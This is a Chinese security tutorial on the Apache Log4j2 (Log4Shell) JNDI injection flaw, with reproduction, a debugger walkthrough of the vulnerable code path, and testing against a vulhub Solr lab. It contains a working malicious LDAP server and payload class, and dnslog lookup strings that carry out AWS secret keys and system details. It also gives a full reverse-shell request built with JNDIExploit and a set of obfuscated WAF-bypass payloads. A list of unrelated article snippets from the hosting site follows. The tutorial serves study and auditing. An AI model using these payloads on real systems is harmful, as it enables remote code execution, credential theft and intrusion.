Java代码审计15之Apache log4j2漏洞

文章目录

  • 1、log4j简介
  • 2、复现
      • 2.1、高版本测试
      • 2.2、测试代码
      • 2.3、补充之dns探测
        • 2.3.1、rmi、ldap也可以dnslog探测
      • 2.3.2、dnslog外带信息
  • 3、漏洞原理
      • 3.1、漏洞的危害大的背景
      • 3.2、具体的代码调试
  • 4、靶场测试
      • 4.1、dns探测
      • 4.2、工具下载与使用
      • 4.3、测试
      • 4.4、手工可以测出,部分扫描器扫不到
  • 5、bypass

1、log4j简介

Apache Log4j2是⼀个基于Java的⽇志记录⼯具。
	
该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性。

该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。
	
⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。


因为log4j是一个偏底层的组件,所以许多的服务都受到了影响,

这个漏洞在刚公布的时候,也是引发了相当的轰动,

2、复现

2.1、高版本测试

先说结论,ldap协议,

使用1.8_65和1.8_151都可以直接触发,

也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性


但是1.8_202还是j了,

即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求

rmi协议

1.8_65		直接触发

1.8_151		需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性

1.8_202		J

还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”

这个“exp”区分大小写,要与rmi恶意服务提供的保持一致

在这里插入图片描述

2.2、测试代码

先引入组件,

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

在这里插入图片描述
main.java


package com.example.demo2;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
    private static  final Logger logger =LogManager.getLogger();
    public static void main(String[] args) throws Exception {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //ldap://127.0.0.1:7777/Exp
        logger.error("${jndi:ldap://127.0.0.1:7777/Exp}");





    }

}

这个ldap和恶意类还使用上一节提到的,

ldap_Hack_server.java
package com.example.demo2;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult
                                                  result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

jndiexp.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2;        增加会出错


public class jndiexp implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.3、补充之dns探测

2.3.1、rmi、ldap也可以dnslog探测

在使用dnslog探测漏洞的时候,

其实不仅仅dns协议可以,ldap和rmi协议也可以,

在这里插入图片描述
类似的rmi,

这里要注意下面,所以rmi协议相比较逊一些,

${jndi:rmi://rmi3.b5ar6g.dnslog.cn		这个后边必须跟一些东西,比如

${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx

在这里插入图片描述

但是不是太建议大家使用ldap和rmi毕竟有各种限制,

还是直接使用dnslog比较方便

2.3.2、dnslog外带信息

另一个是dns、rmi、ldap都可以在探测dnslog的时候,外带一些系统的信息,

在这里插入图片描述
类似的有以下,各位有空可以试试,笔者未作测试,

这些都是log4j组件中的一个特殊占位符

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

3、漏洞原理

3.1、漏洞的危害大的背景

在log4j刚出来的时候,危害相当大,我们先说下log4j正常的使用背景,

其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,

Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 

最简单的日志打印 我们看如下登录场景:

在这里插入图片描述

咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}
很简单,用户如果登陆了,我们通过表单接收到相关name字段,

然后在日志中记录上这么一条记录。这个看起来是很常规的操作了,

记录日志为什么会导致漏洞呢?这主要就是lookup支持打印系统变量

且name变量是用户输入的,用户输入什么都可以,

假设输入如下,
在这里插入图片描述
上述代码会输出,

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

为什么会产生这种奇怪的现象呢?

是因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,
在这里插入图片描述

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。

其实这就是jndi注入了,之前我们说过,jndi注入可以利用rmi、ldap协议实现rce

3.2、具体的代码调试

进来先关注,这个log4j的版本,

有的maven会导入多个版本,在测试的时候,进入别的版本
在这里插入图片描述

然后每个函数可能会传递很多的参数,其实我们不用管别的,这里盯紧我们可控的参数即message

然后,继续向下跟,都是很短的函数,没有if..else..这种条件结构直接向下走就行,

	这个小技巧就是,直接ctrl进到方法的实现,

	然后大个断点,然后直接“步过”到断点

	一个方法,一个断点,一个“步过”


直到走到1641行,按照我们的估算,下一次是同页面的1572行,

	但是当1572行打了断点,“步过”的时候直接访问dnslog/弹窗了

	这就说明在1641行不能在“步过”了,需要“步入”

在这里插入图片描述

重新来,断点就留到1641,直接debug到这,然后“步入”到87行的log方法,

	但是这里有一个新的问题是,遇到if..else..怎么知道进的是哪个,

	不知道就都打上断点,再次“步过”

在这里插入图片描述

经过测试是进入if,但是这个log方法直接跟进去是一个定义的接口,

所以也不能直接“步过”,继续“步入”,到了27行,

在这里插入图片描述

继续跟到这种结构,即if..else..下面还有代码,

这里的重点不是进的 if还是else,重点是最终的漏洞是否在if..else..结构内触发,

假设没有在if..else..语句内触发,那么其实这个if..else...的代码可以忽略,

所以这种,我们直接在下面打断点,看看有没有触发,

	假设触发了,我们在重新来一遍定位是if还是else,并继续向下

	假设没有触发,我们就直接忽略

在这里插入图片描述

继续可以跟到这个107行,记录下

在这里插入图片描述

再向下就到这了,

这个循环该到第八次的时候即i=8时,在步过就是9次的时候,直接步入,

因为i=8的时候在步过就会直接弹窗,即漏洞是在第8次触发的

在这里插入图片描述

然后跟到这个MessagePatternConverter.class文件,
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));


这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,

一旦匹配到类似于表达式结构的字符串就会触发替换机制。

在这里插入图片描述

然后这个地方是调试的一个重点,

StrSubstitutor.class文件有多个while循环的这个地方触发的,但是正常跟进需要循环很多次,

相当简单的是可以手动修改一些变量的值,这个值可能还是会绕一会,

想绕的可以自己找找具体是在哪触发的,不想的可以看下下面的,

在这里插入图片描述

直接将断点打到该文件的418行,然后“步过”到418行,

在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

在这里插入图片描述

到这,log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数,进行正常的lookup查询

之前我们说过当lookup函数可控时就会造成rce,所以看到lookup函数且参数可控,一定要警惕,

在这里插入图片描述

继续,在这个地方,

通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容(即152行代码)

传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类(156行)

在这里插入图片描述

继续,

在这里插入图片描述

继续,

笔者到这一步,继续步入就直接弹窗了,

到这,其实还是log4j组件内,即下面应该跳到jdk底层代码的lookup函数,

然后去加载我们的恶意类,但是不知道为什么无法跟进去,先到这把

在这里插入图片描述

调试参考:

https://www.anquanke.com/post/id/262668

4、靶场测试

4.1、dns探测

使用vulhub搭建一个靶场,直接poc搞一下dns,
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


在这里插入图片描述

正常情况下,这种地方一般都是burp的插件或者xray或者其他扫描器扫到,

4.2、工具下载与使用

然后就是利用,下载利用工具,
	
	https://github.com/WhiteHSBG/JNDIExploit

kali起来环境,
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x

注意这个IP不要写0.0.0.0;否则会攻击失败

在这里插入图片描述

-u可以查看payload,根据不同的框架选择即可,

这个地方也可以加上-i IP

这样出来的payload就不是0.0.0.0而是可以直接利用的了

在这里插入图片描述

具体的使用可以看下,工具地址有说明,

在这里插入图片描述

4.3、测试

由上面我们直接测试,

一开始使用一些有回显的测试,都没有回显,

在这里插入图片描述

然后换直接反弹shell的,

kali起监听,直接拿到shell,

在这里插入图片描述

详细请求数据包,
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close


4.4、手工可以测出,部分扫描器扫不到

其实根据以上的原理,就可以看到,漏洞的触发是需要有打印log这个需求,

但是不是所有的url的所有参数(包含header头参数)都会被打印,

即漏洞的触发点可能只会是在部分uri的部分参数(包含header头参数)

回到问题,为什么有的扫描器扫不到,

着看扫描器实现的原理,假设扫描器是直接拼接了用户给的url,比如根目录

但是根目录没有漏洞的触发点的话,扫不到很正常,

所以想让扫描器覆盖到,笔者想到的就是配合爬虫,

将爬虫爬到每个uri都过一遍

5、bypass

一些流传的bypass姿势,

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}

${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}

${jndi:rmi://adsasd.asdasd.asdasd}

${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/102042.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

设计模式--代理模式

笔记来源&#xff1a;尚硅谷Java设计模式&#xff08;图解框架源码剖析&#xff09; 代理模式 1、代理模式的基本介绍 1&#xff09;代理模式&#xff1a;为一个对象提供一个替身&#xff0c;以控制对这个对象的访问。即通过代理对象访问目标对象2&#xff09;这样做的好处是…

leetcode236. 二叉树的最近公共祖先(java)

二叉树的最近公共祖先 题目描述递归法代码演示 上期经典 题目描述 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q …

ISO/IEC标准组织介绍(三十七)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只有行动才是治疗恐惧和懒惰的唯一良药. 更多原创,欢迎关注:Android…

AI绘画:StableDiffusion实操教程-斗罗大陆2-江楠楠-常服(附高清图下载)

前段时间我分享了StableDiffusion的非常完整的教程&#xff1a;“AI绘画&#xff1a;Stable Diffusion 终极宝典&#xff1a;从入门到精通 ” 尽管如此&#xff0c;还有读者反馈说&#xff0c;尽管已经成功安装&#xff0c;但生成的图片与我展示的结果相去甚远。真实感和质感之…

解决FreeRTOS程序跑不起来,打印调试却提示“Error:..\FreeRTOS\port\RVDS\ARM_CM3\port.c,244“的方法

前言 今天来分享一个不会造成程序编译报错&#xff0c;但会使程序一直跑不起来&#xff0c;并且通过调试会发现有输出错误提示的错误例子分析&#xff0c;话不多说&#xff0c;我们就直接开始分析~ 首先&#xff0c;我们说过这个例子在编译时候没有明示的错误提示&#xff0c…

城市白模三维重建

收费工具&#xff0c;学生党勿扰&#xff0c;闹眼子当勿扰 收费金额&#xff1a;2000元&#xff0c;不能开发票 1 概述 几个月前&#xff0c;一家小公司找我帮忙给他们开发一个程序&#xff0c;可以将一个城市进行白模的三维重建。 报酬大约5K。经过不懈的努力&#xff0c;终于…

Spring 中存取 Bean 的相关注解

目录 一、五大类注解 1、五大类注解存储Bean对象 1.1Controller(控制器储存) 1.2Service(服务存储) 1.3Repository(仓库存储) 1.4Component(组件存储) 1.5Configuration(配置存储) 2、五大类注解小结 2.1为什么要这么多类注解 2.2 五大类注解之间的关系 二、方法注解 1.方法注…

【App端】uni-app使用百度地图api和echarts省市地图下钻

目录 前言方案一&#xff1a;echarts百度地图获取百度地图AK安装echarts和引入百度地图api完整使用代码 方案二&#xff1a;echarts地图和柱状图变形动画实现思路完整使用代码 方案三&#xff1a;中国地图和各省市地图下钻实现思路完整使用代码 前言 近期的app项目中想加一个功…

常见路由跳转的几种方式

常见的路由跳转有以下四种&#xff1a; 1. <router-link to"跳转路径"> /* 不带参数 */ <router-link :to"{name:home}"> <router-link :to"{path:/home}"> // 更建议用name // router-link链接中&#xff0c;带/ 表示从根…

RT-Thread 原子操作

原子操作简介 原子操作&#xff08;Atomic operation&#xff09;是指一种不可分割的操作&#xff0c;要么完全执行成功&#xff0c;要么完全不执行。 原子操作的执行过程中不允许有任何中断&#xff0c;如果出现了中断&#xff0c;那么操作的结果就无法保证。 原子操作通常…

Docker从认识到实践再到底层原理(二-1)|容器技术发展史+虚拟化容器概念和简介

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

为什么要学习C++

操作系统历史 UINX操作系统诞生之初是用汇编语言编写的。随着UNIX的发展&#xff0c;汇编语言的开发效率成为一个瓶颈。寻找新的高效开发语言成为UNIX开发者需要解决的问题。当时BCPL语言成为了当时的选择之一。Ken Thomposn对BCPL进行简化得到了B语言。但是B语言不是直接生成…

无涯教程-Android - List fragments函数

框架的ListFragment的静态库支持版本&#xff0c;用于编写在Android 3.0之前的平台上运行的应用程序&#xff0c;在Android 3.0或更高版本上运行时,仍使用此实现。 List fragment 的基本实现是用于创建fragment中的项目列表 List in Fragments 示例 本示例将向您说明如何基于…

【GUI开发】用python爬YouTube博主信息,并开发成exe软件

文章目录 一、背景介绍二、代码讲解2.1 爬虫2.2 tkinter界面2.3 存日志 三、软件演示视频四、说明 一、背景介绍 你好&#xff0c;我是马哥python说&#xff0c;一名10年程序猿。 最近我用python开发了一个GUI桌面软件&#xff0c;目的是爬取相关YouTube博主的各种信息&#…

2.5 关系查询优化

这段话主要讨论了关系模型在数据库领域中的查询优化问题。以下是对这段文字的简要解释&#xff1a; 1. **关系模型的优缺点**&#xff1a;虽然关系模型有许多优点&#xff0c;但它也有一些缺点&#xff0c;最主要的缺点是查询效率。如果没有适当的优化&#xff0c;查询的速度可…

采用ROUANT 方法对 nex-gddp-cmip6 数据进行精度校正

专题一 CMIP6中的模式比较计划 1.1 GCM介绍全球气候模型&#xff08;Global Climate Model, GCM&#xff09;&#xff0c;也被称为全球环流模型或全球大气模型&#xff0c;是一种用于模拟地球的气候系统的数值模型。这种模型使用一系列的数学公式来描述气候系统的主要组成部分…

C++面试题(丝)-计算机网络部分(1)

目录 1计算机网络 53 简述epoll和select的区别&#xff0c;epoll为什么高效&#xff1f; 54 说说多路IO复用技术有哪些&#xff0c;区别是什么&#xff1f; 55 简述socket中select&#xff0c;epoll的使用场景和区别&#xff0c;epoll水平触发与边缘触发的区别&#xff1f;…

微服务--Gatway:网关

routes: - id:order_route(路由唯一 标识&#xff0c;路由到order) uri&#xff1a;http://localhost:8020 #需要转发的地址 #断言规则&#xff08;用于路由规则的匹配&#xff09; predicates: -path/order-serv/** -pathlb://order-service # lb: 使用nacos中的本地…

uni-app之android项目云打包

1&#xff0c;项目根目录&#xff0c;找到mainfest.json&#xff0c;如果appid是空的&#xff0c;需要生成一个appid 2&#xff0c;点击重新获取appid&#xff0c;这个时候需要登录&#xff0c;那就输入账号密码登录下 3&#xff0c;登陆后可以看到获取appid成功 4&#xff0c;…

python类

python是一种面向对象的变成语言。 python几乎所有的东西都是对象&#xff0c;包括对象和属性。 一.类的定义 python类的定义&#xff1a; class ClassName:pass: 实例&#xff1a; 注意&#xff1a; 类中的函数称为方法&#xff0c;有关于函数的一切适用于方法&…